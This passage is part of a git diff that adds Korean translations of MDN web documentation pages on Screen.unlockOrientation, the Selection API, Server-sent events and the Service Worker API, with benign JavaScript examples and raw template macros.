Basic support{{ CompatNo() }}{{ CompatNo() }}{{ CompatVersionUnknown() }} {{ property_prefix("moz") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
+
+ +

Gecko notes

+ +

이 API 는 현재 초안 형태이다. 이것은 오직 B2G 와 안드로이드용 Firefox 에서 prefixed 함수인 (mozOrientation) 로만 구현된다.

+ +

See also

+ + diff --git a/files/ko/web/api/screen/unlockorientation/index.html b/files/ko/web/api/screen/unlockorientation/index.html new file mode 100644 index 0000000000..bf4d3eb4d5 --- /dev/null +++ b/files/ko/web/api/screen/unlockorientation/index.html @@ -0,0 +1,62 @@ +--- +title: window.screen.unlockOrientation +slug: Web/API/Screen/unlockOrientation +translation_of: Web/API/Screen/unlockOrientation +--- +
{{APIRef("CSSOM View")}}{{Deprecated_header}}
+ +

Screen.unlockOrientation() 함수는 이전의 page나 앱을 통해 지정한 화면 고정 값들을 모두 제거 한다.

+ +
+

Note: 이 함수는 설치된 웹앱 또는 full-screen mode 의 웹 페이지들에서 동작한다..

+
+ +

Syntax

+ +
var unlocked = window.screen.unlockOrientation();
+
+ +

Return value

+ +

성공적으로 unlocked 된 경우 true 를 반환하며, 만약 방향이 unlock 될 수 없다면 false 를 반환한다.

+ +

Example

+ +
if (window.screen.unlockOrientation()) {
+  // orientation was unlocked
+} else {
+  // orientation unlock failed
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Screen Orientation', '', 'Screen Orientation') }}{{ Spec2('Screen Orientation') }}Draft specification
+ +

Browser compatibility

+ +

{{Compat("api.Screen.unlockOrientation")}}

+ +

See also

+ + diff --git a/files/ko/web/api/selection/index.html b/files/ko/web/api/selection/index.html new file mode 100644 index 0000000000..a78be04801 --- /dev/null +++ b/files/ko/web/api/selection/index.html @@ -0,0 +1,209 @@ +--- +title: selection +slug: Web/API/Selection +tags: + - API + - Experimental + - Interface + - Reference + - Selection +translation_of: Web/API/Selection +--- +
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+ +

A Selection object represents the range of text selected by the user or the current position of the caret. To obtain a Selection object for examination or manipulation, call {{DOMxRef("window.getSelection()")}}.

+ +

A user may make a selection from left to right (in document order) or right to left (reverse of document order). The anchor is where the user began the selection and the focus is where the user ends the selection. If you make a selection with a desktop mouse, the anchor is placed where you pressed the mouse button, and the focus is placed where you released the mouse button.

+ +
+

Anchor and focus should not be confused with the start and end positions of a selection. The anchor can be placed before the focus or vice-versa, depending on the direction you made your selection.

+
+ +

Properties

+ +
+
{{DOMxRef("Selection.anchorNode")}}{{ReadOnlyInline}}
+
Returns the {{DOMxRef("Node")}} in which the selection begins. Can return null if selection never existed in the document (e.g., an iframe that was never clicked on).
+
{{DOMxRef("Selection.anchorOffset")}}{{ReadOnlyInline}}
+
Returns a number representing the offset of the selection's anchor within the anchorNode. If anchorNode is a text node, this is the number of characters within anchorNode preceding the anchor. If anchorNode is an element, this is the number of child nodes of the anchorNode preceding the anchor.
+
{{DOMxRef("Selection.focusNode")}}{{ReadOnlyInline}}
+
Returns the {{DOMxRef("Node")}} in which the selection ends. Can return null if selection never existed in the document (for example, in an iframe that was never clicked on).
+
{{DOMxRef("Selection.focusOffset")}}{{ReadOnlyInline}}
+
Returns a number representing the offset of the selection's anchor within the focusNode. If focusNode is a text node, this is the number of characters within focusNode preceding the focus. If focusNode is an element, this is the number of child nodes of the focusNode preceding the focus.
+
{{DOMxRef("Selection.isCollapsed")}}{{ReadOnlyInline}}
+
Returns a Boolean indicating whether the selection's start and end points are at the same position.
+
{{DOMxRef("Selection.rangeCount")}}{{ReadOnlyInline}}
+
Returns the number of ranges in the selection.
+
{{DOMxRef("Selection.type")}}{{ReadOnlyInline}}
+
Returns a {{DOMxRef("DOMString")}} describing the type of the current selection.
+
+ +

Methods

+ +
+
{{DOMxRef("Selection.addRange()")}}
+
A {{DOMxRef("Range")}} object that will be added to the selection.
+
{{DOMxRef("Selection.collapse()")}}
+
Collapses the current selection to a single point.
+
{{DOMxRef("Selection.collapseToEnd()")}}
+
Collapses the selection to the end of the last range in the selection.
+
{{DOMxRef("Selection.collapseToStart()")}}
+
Collapses the selection to the start of the first range in the selection.
+
{{DOMxRef("Selection.containsNode()")}}
+
Indicates if a certain node is part of the selection.
+
{{DOMxRef("Selection.deleteFromDocument()")}}
+
Deletes the selection's content from the document.
+
{{DOMxRef("Selection.empty()")}}
+
Removes all ranges from the selection. This is an alias for removeAllRanges() — See {{DOMxRef("Selection.removeAllRanges()")}} for more details.
+
{{DOMxRef("Selection.extend()")}}
+
Moves the focus of the selection to a specified point.
+
{{DOMxRef("Selection.getRangeAt()")}}
+
Returns a {{DOMxRef("Range")}} object representing one of the ranges currently selected.
+
{{DOMxRef("Selection.modify()")}}{{Non-standard_Inline}}
+
Changes the current selection.
+
{{DOMxRef("Selection.removeRange()")}}
+
Removes a range from the selection.
+
{{DOMxRef("Selection.removeAllRanges()")}}
+
Removes all ranges from the selection.
+
{{DOMxRef("Selection.selectAllChildren()")}}
+
Adds all the children of the specified node to the selection.
+
{{DOMxRef("Selection.setBaseAndExtent()")}}
+
Sets the selection to be a range including all or parts of two specified DOM nodes, and any content located between them.
+
{{DOMxRef("Selection.setPosition()")}}
+
Collapses the current selection to a single point. This is an alias for collapse() — See {{DOMxRef("Selection.collapse()")}} for more details.
+
{{DOMxRef("Selection.toString()")}}
+
Returns a string currently being represented by the selection object, i.e. the currently selected text.
+
+ +

Notes

+ +

String representation of a selection

+ +

Calling the {{DOMxRef("Selection.toString()")}} method returns the text contained within the selection, e.g.:

+ +
var selObj = window.getSelection();
+window.alert(selObj);
+
+ +

Note that using a selection object as the argument to window.alert will call the object's toString method.

+ +

Multiple ranges in a selection

+ +

A selection object represents the {{DOMxRef("Range")}}s that the user has selected. Typically, it holds only one range, accessed as follows:

+ +
+
var selObj = window.getSelection();
+var range  = selObj.getRangeAt(0);
+
+ + + +

As the Selection API specification notes, the Selection API was initially created by Netscape and allowed multiple ranges (for instance, to allow the user to select a column from a {{HTMLElement("table")}}). However, browsers other than Gecko did not implement multiple ranges, and the specification also requires the selection to always have a single range.

+ +

Selection and input focus

+ +

Selection and input focus (indicated by {{DOMxRef("Document.activeElement")}}) have a complex relationship that varies by browser. In cross-browser compatible code, it's better to handle them separately.

+ +

Safari and Chrome (unlike Firefox) currently focus the element containing selection when modifying the selection programmatically; it's possible that this may change in the future (see W3C bug 14383 and {{WebKitBug("38696")}}).

+ +

Behavior of Selection API in terms of editing host focus changes

+ +

The Selection API has a common behavior (i.e., shared between browsers) that governs how focus behavior changes for editing hosts after certain methods are called.

+ +

The behavior is as follows:

+ +
    +
  1. An editing host gains focus if the previous selection was outside of it.
  2. +
  3. A Selection API method is called, causing a new selection to be made with the selection range inside the editing host.
  4. +
  5. Focus then moves to the editing host.
  6. +
+ +
+

Note: The Selection API methods may only move focus to an editing host, not to other focusable elements (e.g., {{HTMLElement("a")}}).

+
+ +

The above behavior applies to selections made using the following methods:

+ + + +

And when the {{DOMxRef("Range")}} is modified using the following methods:

+ + + +

Glossary

+ +

Other key terms used in this section.

+ +
+
anchor
+
The anchor of a selection is the beginning point of the selection. When making a selection with a mouse, the anchor is where in the document the mouse button is initially pressed. As the user changes the selection using the mouse or the keyboard, the anchor does not move.
+
editing host
+
An editable element (e.g., an HTML element with {{htmlattrxref("contenteditable")}} set, or the HTML child of a document that has {{DOMxRef("Document.designMode", "designMode")}} enabled).
+
focus of a selection
+
The focus of a selection is the end point of the selection. When making a selection with a mouse, the focus is where in the document the mouse button is released. As the user changes the selection using the mouse or the keyboard, the focus is the end of the selection that moves. +
This is not the same as the focused element of the document, as returned by {{DOMxRef("document.activeElement")}}.
+
+
range
+
A range is a contiguous part of a document. A range can contain entire nodes as well as portions of nodes (such as a portion of a text node). A user will normally only select a single range at a time, but it's possible for a user to select multiple ranges (e.g., by using the Control key). A range can be retrieved from a selection as a {{DOMxRef("range")}} object. Range objects can also be created via the DOM and programmatically added or removed from a selection.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("Selection API", "#selection-interface", "Selection")}}{{Spec2("Selection API")}}The Selection API specification is based on the HTML Editing APIs specification and focuses on the Selection-related functionality.
+ +

Browser compatibility

+ + + +

{{Compat("api.Selection")}}

+ +

Gecko notes

+ + + +

See also

+ + diff --git a/files/ko/web/api/selection/tostring/index.html b/files/ko/web/api/selection/tostring/index.html new file mode 100644 index 0000000000..3048c8a65f --- /dev/null +++ b/files/ko/web/api/selection/tostring/index.html @@ -0,0 +1,58 @@ +--- +title: Selection.toString() +slug: Web/API/Selection/toString +translation_of: Web/API/Selection/toString +--- +
+
+
{{ ApiRef("DOM") }}{{SeeCompatTable}}
+
+
+ +

Selection.toString() 메소드는 selection 객체가 현재 나타내는 문자열을 반환합니다. 즉, 현재 선택된 텍스트의 문자열.

+ +

Syntax

+ +
str = sel.toString()
+
+ +

Return value

+ +

A string representing the selection.

+ +

Description

+ +

This method returns the currently selected text.

+ +

In JavaScript, this method is called automatically when a function the selection object is passed to requires a string:

+ +
alert(window.getSelection()) // What is called
+alert(window.getSelection().toString())  // What is actually being effectively called.
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML Editing', '#dom-selection-stringifier', 'Selection.toString()')}}{{Spec2('HTML Editing')}}Initial definition
+ +

Browser compatibility

+ +
{{Compat("api.Selection.toString")}}
+ +

See also

+ + diff --git a/files/ko/web/api/server-sent_events/index.html b/files/ko/web/api/server-sent_events/index.html new file mode 100644 index 0000000000..4b893570f8 --- /dev/null +++ b/files/ko/web/api/server-sent_events/index.html @@ -0,0 +1,77 @@ +--- +title: Server-sent events +slug: Web/API/Server-sent_events +tags: + - API + - Overview + - SSE + - Server-sent events +translation_of: Web/API/Server-sent_events +--- +

{{DefaultAPISidebar("Server Sent Events")}}

+ +

전통적으로 웹페이지는 새로운 데이터를 받기 위해 서버로 요청을 보내야만 합니다; 서버로 데이터를 요청하는 방식입니다. 하지만 Server-Sent Events 방식으로 웹페이지의 요청 없이도 언제든지 서버가 새로운 데이터를 보내는 것이 가능합니다. 이렇게 보내진 메시지는 웹페이지 안에서 Events + 데이터로 다룰 수 있습니다.

+ +

기본 & 사용하기

+ +

Server-Sent Events를 배우려면 다음 글을 읽어보세요: Server-Sent Events 사용하기.

+ +

인터페이스

+ +
+
{{domxref("EventSource")}}
+
서버와의 연결, 이벤트/데이터, 에러 받아오기, 연결 종료하기 등을 다루는 모든 기능을 정의하고 있습니다.
+
+ +

예제

+ + + +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#server-sent-events', 'Server-sent events')}}{{Spec2('HTML WHATWG')}} 
+ +

더 찾아보기

+ +

도구

+ + + + + + + +

그 외 자료

+ + diff --git a/files/ko/web/api/service_worker_api/index.html b/files/ko/web/api/service_worker_api/index.html new file mode 100644 index 0000000000..5047e10e89 --- /dev/null +++ b/files/ko/web/api/service_worker_api/index.html @@ -0,0 +1,175 @@ +--- +title: Service Worker API +slug: Web/API/Service_Worker_API +tags: + - API + - Landing + - Offline + - Overview + - Reference + - Service Workers + - Workers + - 서비스 워커 + - 오프라인 +translation_of: Web/API/Service_Worker_API +--- +
{{ServiceWorkerSidebar}}
+ +

서비스 워커는 웹 응용 프로그램, 브라우저, 그리고 (사용 가능한 경우) 네트워크 사이의 프록시 서버 역할을 합니다. 서비스 워커의 개발 의도는 여러가지가 있지만, 그 중에서도 효과적인 오프라인 경험을 생성하고, 네트워크 요청을 가로채서 네트워크 사용 가능 여부에 따라 적절한 행동을 취하고, 서버의 자산을 업데이트할 수 있습니다. 또한 푸시 알림과 백그라운드 동기화 API로의 접근도 제공합니다.

+ +

서비스 워커의 개념과 사용법

+ +

서비스 워커는 출처와 경로에 대해 등록하는 이벤트 기반 워커로서 JavaScript 파일의 형태를 갖고 있습니다. 서비스 워커는 연관된 웹 페이지/사이트를 통제하여 탐색과 리소스 요청을 가로채 수정하고, 리소스를 굉장히 세부적으로 캐싱할 수 있습니다. 이를 통해 웹 앱이 어떤 상황에서 어떻게 동작해야 하는지 완벽하게 바꿀 수 있습니다. (제일 대표적인 상황은 네트워크를 사용하지 못할 때입니다.)

+ +

서비스 워커는 워커 맥락에서 실행되기 때문에 DOM에 접근할 수 없습니다. 또한 앱을 구동하는 주 JavaScript와는 다른 스레드에서 동작하므로 연산을 가로막지 않습니다(논 블로킹). 서비스 워커는 온전히 비동기적으로 설계됐으며, 그로 인해 동기적 XHR이나 웹 저장소 등의 API를 서비스 워커 내에서 사용할 수 없습니다.

+ +

서비스 워커는 보안 상의 이유로 HTTPS에서만 동작합니다. 네트워크 요청을 수정할 수 있다는 점에서 중간자 공격에 굉장히 취약하기 때문입니다. 또한 Firefox에서는 사생활 보호 모드에서 Service Worker API에 접근할 수 없습니다.

+ +
+

참고: 서비스 워커는 모든 것을 세부적으로 통제할 수 있다는 점에서 AppCache 등 오프라인이나 캐시의 이전 시도보다 우위를 점합니다. 서비스 워커는 개발자의 의도를 짐작하지 않으며, 예측과 빗나갔을 때 망가지지도 않기 때문입니다.

+
+ +
+

참고: 서비스 워커는 응답을 기다린 후 성공 또는 실패 액션을 실행하는 경우가 많으므로 프로미스를 적극적으로 사용합니다.

+
+ +

등록

+ +

서비스 워커는 {{domxref("ServiceWorkerContainer.register()")}} 메서드를 사용해 처음 등록합니다. 성공적으로 등록한 경우 클라이언트가 서비스 워커를 다운로드하고, 출처 전체에 대해 혹은 개발자가 지정한 특정 주소들에 대해서 서비스 워커의 설치와 활성화(아래 구획 참고)를 시도합니다.

+ +

다운로드, 설치, 활성화

+ +

서비스 워커를 살펴보면 다음과 같은 생명주기를 볼 수 있습니다.

+ +
    +
  1. 다운로드
  2. +
  3. 설치
  4. +
  5. 활성화
  6. +
+ +

서비스 워커가 제어하는 사이트/페이지에 사용자가 처음 접근하는 순간 서비스 워커가 즉시 다운로드됩니다.

+ +

서비스 워커의 업데이트는 다음 경우에 발생합니다.

+ + + +

다운로드한 파일이 더 새로운 버전인 경우 서비스 워커의 설치를 시도합니다. 버전 비교는 기존 서비스 워커 파일과의 바이트 단위 비교 결과를 사용합니다. 이 페이지/사이트에서 서비스 워커를 처음 발견한 경우에도 "새로운 버전"으로 취급합니다.

+ +

기존 서비스 워커가 없으면 설치를 시도하고, 설치를 성공하면 활성화합니다.

+ +

기존에 서비스 워커가 존재하던 경우, 새로운 버전을 백그라운드에서 설치하지만 활성화는 아직 하지 않습니다. 이 시점의 워커를 대기 중인 워커라고 부릅니다. 대기 중인 워커는 이전 버전의 서비스 워커를 사용하는 페이지가 모두 닫힌 경우 활성화되어 활성 워커가 됩니다. {{DOMxRef("ServiceWorkerGlobalScope.skipWaiting()")}}을 사용해 활성화 절차를 더 빨리 시작할 수 있으며, 새로운 활성 워커는 {{DOMxRef("Clients.claim()")}}을 사용해 이전 페이지를 회수할 수 있습니다.

+ +

생명주기 중 발생하는 이벤트 중 하나는 {{domxref("ServiceWorkerGlobalScope/install_event", "install")}} 이벤트입니다. 이 이벤트의 대표적인 사용 방법은, 예를 들면 내장 저장소 API를 사용해 캐시를 만들고, 오프라인 상황에서 사용할 자산을 준비하는 등, 서비스 워커의 사용을 준비하는 것입니다.

+ +

{{domxref("ServiceWorkerGlobalScope/activate_event", "activate")}} 이벤트도 있습니다. activate의 시점에서는 과거의 캐시를 지우고, 구버전 서비스 워커에 관련된 항목을 청소하는 등 여러가지를 정리하기에 좋습니다.

+ +

서비스 워커는 {{domxref("FetchEvent")}} 이벤트를 사용해 요청에 응답할 수 있습니다. {{domxref("FetchEvent.respondWith()")}} 메서드를 사용해 요청에 대한 응답을 원하는 방식으로 자유롭게 바꾸세요.

+ +
+

참고: installactivate 이벤트 처리는 시간이 꽤 걸릴 수도 있기에, 서비스 워커 명세는 {{domxref("ExtendableEvent.waitUntil", "waitUntil()")}} 메서드를 제공합니다. install이나 activate에서 waitUntil()을 호출하면서 매개변수로 프로미스를 제공하면, 성공적으로 이행하기 전까지는 기능 이벤트가 발생하지 않습니다.

+
+ +

기본적인 첫 서비스 워커를 차근차근 만드는 방법은 서비스 워커 사용하기에서 읽어볼 수 있습니다.

+ +

다른 사용법 아이디어

+ +

서비스 워커의 설계는 다음과 같은 용도로 사용하는 것도 감안했습니다.

+ + + +

미래의 서비스 워커는 웹 플랫폼이 네이티브 앱의 능력에 보다 근접하도록 여러 가지 유용한 기능을 수행할 수 있을 것입니다. 흥미롭게도 다른 명세에서도 서비스 워커 맥락을 사용할 수 있으며, 이미 다음과 같은 곳에서 사용하고 있습니다.

+ + + +

인터페이스

+ +
+
{{DOMxRef("Cache")}} {{Experimental_Inline}}
+
{{DOMxRef("ServiceWorker")}} 생명주기의 일부로서 캐시되는 {{domxref("Request")}} / {{domxref("Response")}} 객체 쌍의 저장소를 나타냅니다.
+
{{DOMxRef("CacheStorage")}} {{Experimental_Inline}}
+
{{DOMxRef("Cache")}} 객체의 저장소를 나타냅니다. {{DOMxRef("ServiceWorker")}}가 접근할 수 있는 모든 유명 캐시의 주 디렉토리를 제공하며, {{domxref("Cache")}} 객체를 가리키는 문자열 이름의 맵핑도 관리합니다.
+
{{DOMxRef("Client")}} {{Experimental_Inline}}
+
서비스 워커 클라이언트의 범위를 나타냅니다. 서비스 워커 클라이언트는 브라우저 맥락에서의 문서이거나, 활성화된 워커가 제어하는 {{domxref("SharedWorker")}}입니다.
+
{{DOMxRef("Clients")}} {{Experimental_Inline}}
+
{{DOMxRef("Client")}} 객체의 목록을 나타냅니다. Clients는 현재 {{glossary("출처")}}의 활성 서비스 워커 클라이언트에 접근하는 주요 방법입니다.
+
{{DOMxRef("ExtendableEvent")}} {{Experimental_Inline}}
+
서비스 워커 생명주기의 일부로서 {{DOMxRef("ServiceWorkerGlobalScope")}}에서 발생하는 installactivate 이벤트의 지속시간을 늘립니다. 이로써 데이터베이스 스키마를 업그레이드하거나, 만료된 캐시 항목을 지우는 작업 등이 끝나기 전까지 {{DOMxRef("FetchEvent")}}와 같은 기능 이벤트가 {{DOMxRef("ServiceWorker")}}로 전달되지 않도록 합니다.
+
{{DOMxRef("ExtendableMessageEvent")}} {{Experimental_Inline}}
+
The event object of a {{event("message_(ServiceWorker)","message")}} event fired on a service worker (when a channel message is received on the {{DOMxRef("ServiceWorkerGlobalScope")}} from another context) — extends the lifetime of such events.
+
{{DOMxRef("FetchEvent")}} {{Experimental_Inline}}
+
The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.onfetch")}} handler, FetchEvent represents a fetch action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}. It contains information about the request and resulting response, and provides the {{DOMxRef("FetchEvent.respondWith", "FetchEvent.respondWith()")}} method, which allows us to provide an arbitrary response back to the controlled page.
+
{{DOMxRef("InstallEvent")}} {{Experimental_Inline}}
+
The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.oninstall", "oninstall")}} handler, the InstallEvent interface represents an install action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}. As a child of {{DOMxRef("ExtendableEvent")}}, it ensures that functional events such as {{DOMxRef("FetchEvent")}} are not dispatched during installation.
+
{{DOMxRef("NavigationPreloadManager")}} {{Experimental_Inline}}
+
Provides methods for managing the preloading of resources with a service worker.
+
{{DOMxRef("Navigator.serviceWorker")}}
+
Returns a {{DOMxRef("ServiceWorkerContainer")}} object, which provides access to registration, removal, upgrade, and communication with the {{DOMxRef("ServiceWorker")}} objects for the associated document.
+
{{DOMxRef("NotificationEvent")}} {{Experimental_Inline}}
+
The parameter passed into the {{DOMxRef("ServiceWorkerGlobalScope.onnotificationclick", "onnotificationclick")}} handler, the NotificationEvent interface represents a notification click event that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a {{DOMxRef("ServiceWorker")}}.
+
{{DOMxRef("ServiceWorker")}} {{Experimental_Inline}}
+
Represents a service worker. Multiple browsing contexts (e.g. pages, workers, etc.) can be associated with the same ServiceWorker object.
+
{{DOMxRef("ServiceWorkerContainer")}} {{Experimental_Inline}}
+
Provides an object representing the service worker as an overall unit in the network ecosystem, including facilities to register, unregister, and update service workers, and access the state of service workers and their registrations.
+
{{DOMxRef("ServiceWorkerGlobalScope")}}
+
Represents the global execution context of a service worker.
+
{{DOMxRef("ServiceWorkerMessageEvent")}} {{Deprecated_Inline}}
+
Represents a message sent to a {{DOMxRef("ServiceWorkerGlobalScope")}}. Note that this interface is deprecated in modern browsers. Service worker messages will now use the {{DOMxRef("MessageEvent")}} interface, for consistency with other web messaging features.
+
{{DOMxRef("ServiceWorkerRegistration")}} {{Experimental_Inline}}
+
Represents a service worker registration.
+
{{DOMxRef("ServiceWorkerState")}} {{Experimental_Inline}}
+
Associated with its ServiceWorker's state.
+
{{DOMxRef("SyncEvent")}} {{Non-standard_Inline}}
+
+

The SyncEvent interface represents a sync action that is dispatched on the {{DOMxRef("ServiceWorkerGlobalScope")}} of a ServiceWorker.

+
+
{{DOMxRef("SyncManager")}} {{Non-standard_Inline}}
+
Provides an interface for registering and listing sync registrations.
+
{{DOMxRef("WindowClient")}} {{Experimental_Inline}}
+
Represents the scope of a service worker client that is a document in a browser context, controlled by an active worker. This is a special type of {{DOMxRef("Client")}} object, with some additional methods and properties available.
+
+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers')}}{{Spec2('Service Workers')}}Initial definition.
+ +

같이 보기

+ + diff --git a/files/ko/web/api/service_worker_api/using_service_workers/index.html b/files/ko/web/api/service_worker_api/using_service_workers/index.html new file mode 100644 index 0000000000..9c9ffcf6e0 --- /dev/null +++ b/files/ko/web/api/service_worker_api/using_service_workers/index.html @@ -0,0 +1,521 @@ +--- +title: Using Service Workers +slug: Web/API/Service_Worker_API/Using_Service_Workers +translation_of: Web/API/Service_Worker_API/Using_Service_Workers +--- +

{{ServiceWorkerSidebar}}

+ +

{{ SeeCompatTable() }}

+ +
+

본 문서에서는 서비스 워커를 시작하기 위한 기본적인 아키텍처, 서비스 워커 등록, 새로운 서비스 워커의 설치와 활성화 과정, 서비스 워커 업데이트, 캐시 제어 및 사용자 정의 응답에 대한 정보를 오프라인 기능을 갖춘 간단한 예제를 통해 제공합니다.

+
+ +

서비스 워커에 앞서서...

+ +

웹 사용자들이 몇 년 동안 겪었던 가장 중요한 문제 중 하나는 인터넷 연결이 끊어지면 작동하지 않는겁니다. 세계 최고의 웹 앱조차 연결이 없을 때는 끔찍한 사용자 경험을 제공합니다. 우리의 오프라인 페이지가 보여주듯이, 이 문제를 해결하기 위한 기술을 개발하기 위한 여러가지 시도가 있었고, 일부 문제는 해결되었습니다. 그러나 가장 중요한 문제는 리소스 캐싱과 커스텀 네트워크(예를 들어 WebSocket등을 이용한 리소스 로드) 통신 제어 메커니즘이 여전히 좋지 않다는 점입니다.

+ +

직전의 시도였던 AppCache 는 캐싱할 리소스를 쉽게 지정할 수 있었기 때문에 좋은 생각이였던것 처럼 보였지만, 당신이 지정한 동작에 대한 가정을 앱이 정확하게 따르지 않을 경우 앱이 끔찍하게 망가집니다. 자세히 알고 싶으면 Jake Archibald의 Application Cache is a Douchebag 을 참고하세요.

+ +
+

참고: Firefox 44에서 AppCache 를 사용해서 페이지의 오프라인 지원을 제공할 경우 콘솔에 서비스 워커 를 대신 사용하는것에 대한 제안이 경고로 표시됩니다. ({{bug("1204581")}})

+
+ +

서비스 워커는 최종적으로 이러한 문제를 해결해야 합니다. 서비스 워커 구문은 AppCache 보다 복잡하지만, 자바스크립트를 사용해서 세밀하게 AppCache 의 암묵적인 동작들을 제어할 수 있으므로 이 문제 그 이상을 처리 할 수 있습니다. 서비스 워커를 사용하면 먼저 캐싱된 리소스를 사용하도록 앱을 설정해서 오프라인일 경우에도 일관적인 경험을 제공한다음 네트워크 연결이 돌아올 때 더 많은 데이터를 불러오게 할 수 있습니다. (보통 오프라인 우선 이라고 함이 기능은 네이티브 앱에서는 이미 널리 사용되는 구현법이며, 이는 네이티브 앱이 웹 앱 대신 선택되는 주된 이유 중 하나입니다.

+ +

서비스워커 개발을 위한 환경 설정

+ +

서비스워커가 지원되는 최신 브라우저에서 많은 서비스 워커 기능들이 활성화되어 있습니다. 만약 현재 사용하시는 브라우저에서 데모 코드가 돌아가지 않으면, 아래와 같이 환경을 설정해주세요.

+ + + +

애플리케이션을 HTTPS 에서 실행시키세요 - 서비스워커는 보안상의 이유로 HTTPS 에서만 동작합니다. Github 은 HTTPS 를 지원하기 때문에 서비스워커를 시험해보기 좋은 사이트입니다. 이외에 localhost 도 https 로 간주되니 로컬 개발환경도 활용해보세요.

+ +

기본 구조

+ +

다음의 단계들은 서비스 워커의 기본적인 설정법입니다:

+ +
    +
  1. {{domxref("serviceWorkerContainer.register()")}}을 통해서 서비스 워커 URL을 가져오고, 등록합니다.
  2. +
  3. 등록에 성공하면, {{domxref("ServiceWorkerGlobalScope") }} 범위에서 서비스 워커가 실행됩니다. 이는 (메인 스크립트 실행 쓰레드를 running off하면서) 기본적으로 DOM 접근이 없는 작업 문맥을 갖습니다.
  4. +
  5. 이제 서비스 워커는 이벤트를 처리할 준비가 되었습니다.
  6. +
  7. 서비스 워커가 제어하는 페이지들에 연속적으로 접근하게 될 때 서비스 워커 설치를 시도하게 됩니다. 서비스 워커는 항상 처음으로 설치 이벤트를 받습니다.(설치 이벤트는 IndexedDB를 생성하고, 사이트 assets을 캐싱하는 처리를 시작할 때 사용될 수 있습니다.) 설치 이벤트는 모든 것을 오프라인에서 사용할 수 있게 하는, 네이티브 또는 파이어폭스 OS 앱을 설치하는 프로시저와 같은 종류입니다.
  8. +
  9. oninstall 핸들러가 완료되면, 서비스 워커가 설치되었다고 할 수 있습니다.
  10. +
  11. 다음은 활성(activation) 이벤트입니다. 서비스 워커가 설치되면, 활성 이벤트를 받게 됩니다.  onactivate 는 이전 버전의 서비스 워커 스크립트에서 사용된 리소스들을 삭제하는 용도로서 주로 사용됩니다.
  12. +
  13. 이제 서비스 워커가 페이지들을 제어하게 될 것이지만, 오직 register() 가 성공적으로 수행된 후에 페이지들이 열리게 될 것입니다. 즉, 문서는 서비스 워커와 함께, 또는 없이도 라이프를 시작하고 유지합니다. 따라서 문서는 실제로 서비스 워커에 제어되기 위해서 재시작 되어야 할 것입니다.
  14. +
+ +

+ +

The below graphic shows a summary of the available service worker events:

+ +

install, activate, message, fetch, sync, push

+ +

Promises

+ +

Promises are a great mechanism for running async operations, with success dependant on one another. This is central to the way service workers work.
+
+ Promises can do a great many things, but for now, all you need to know is that if something returns a promise, you can attach .then() to the end and include callbacks inside it for success, failure, etc., or you can insert .catch() on the end if you want to include a failure callback.

+ +

Let’s compare a traditional synchronous callback structure to its asynchronous promise equivalent.

+ +

sync

+ +
try {
+  var value = myFunction();
+  console.log(value);
+} catch(err) {
+  console.log(err);
+}
+ +

async

+ +
myFunction().then(function(value) {
+  console.log(value);
+}).catch(function(err) {
+  console.log(err);
+});
+ +

In the first example, we have to wait for myFunction() to run and return value before any more of the code can execute. In the second example, myFunction() returns a promise for value, then the rest of the code can carry on running. When the promise resolves, the code inside then will be run, asynchronously.
+
+ Now for a real example — what if we wanted to load images dynamically, but we wanted to make sure the images were loaded before we tried to display them? This is a standard thing to want to do, but it can be a bit of a pain. We can use .onload to only display the image after it’s loaded, but what about events that start happening before we start listening to them? We could try to work around this using .complete, but it’s still not foolproof, and what about multiple images? And, ummm, it’s still synchronous, so blocks the main thread.
+
+ Instead, we could build our own promise to handle this kind of case. (See our Promises test example for the source code, or look at it running live.)

+ +

{{note("A real service worker implementation would use caching and onfetch rather than the deprecated XMLHttpRequest API. Those features are not used here so that you can focus on understanding Promises.")}}

+ +
function imgLoad(url) {
+  return new Promise(function(resolve, reject) {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+
+    request.onload = function() {
+      if (request.status == 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:' + request.statusText));
+      }
+    };
+
+    request.onerror = function() {
+      reject(Error('There was a network error.'));
+    };
+
+    request.send();
+  });
+}
+ +

We return a new promise using the Promise() constructor, which takes as an argument a callback function with resolve and reject parameters. Somewhere in the function, we need to define what happens for the promise to resolve successfully or be rejected — in this case return a 200 OK status or not — and then call resolve on success, or reject on failure. The rest of the contents of this function is fairly standard XHR stuff, so we won’t worry about that for now.

+ +

When we come to call the imgLoad() function, we call it with the url to the image we want to load, as we might expect, but the rest of the code is a little different:

+ +
var body = document.querySelector('body');
+var myImage = new Image();
+
+imgLoad('myLittleVader.jpg').then(function(response) {
+  var imageURL = window.URL.createObjectURL(response);
+  myImage.src = imageURL;
+  body.appendChild(myImage);
+}, function(Error) {
+  console.log(Error);
+});
+ +

On to the end of the function call, we chain the promise then() method, which contains two functions — the first one is executed when the promise successfully resolves, and the second is called when the promise is rejected. In the resolved case, we display the image inside myImage and append it to the body (it’s argument is the request.response contained inside the promise’s resolve method); in the rejected case we return an error to the console.

+ +

This all happens asynchronously.

+ +
+

Note: You can also chain promise calls together, for example:
+ myPromise().then(success, failure).then(success).catch(failure);

+
+ +
+

Note: You can find a lot more out about promises by reading Jake Archibald’s excellent JavaScript Promises: there and back again.

+
+ +

Service workers demo

+ +

To demonstrate just the very basics of registering and installing a service worker, we have created a simple demo called sw-test, which is a simple Star wars Lego image gallery. It uses a promise-powered function to read image data from a JSON object and load the images using Ajax, before displaying the images in a line down the page. We’ve kept things static and simple for now. It also registers, installs, and activates a service worker, and when more of the spec is supported by browsers it will cache all the files required so it will work offline!

+ +


+
+
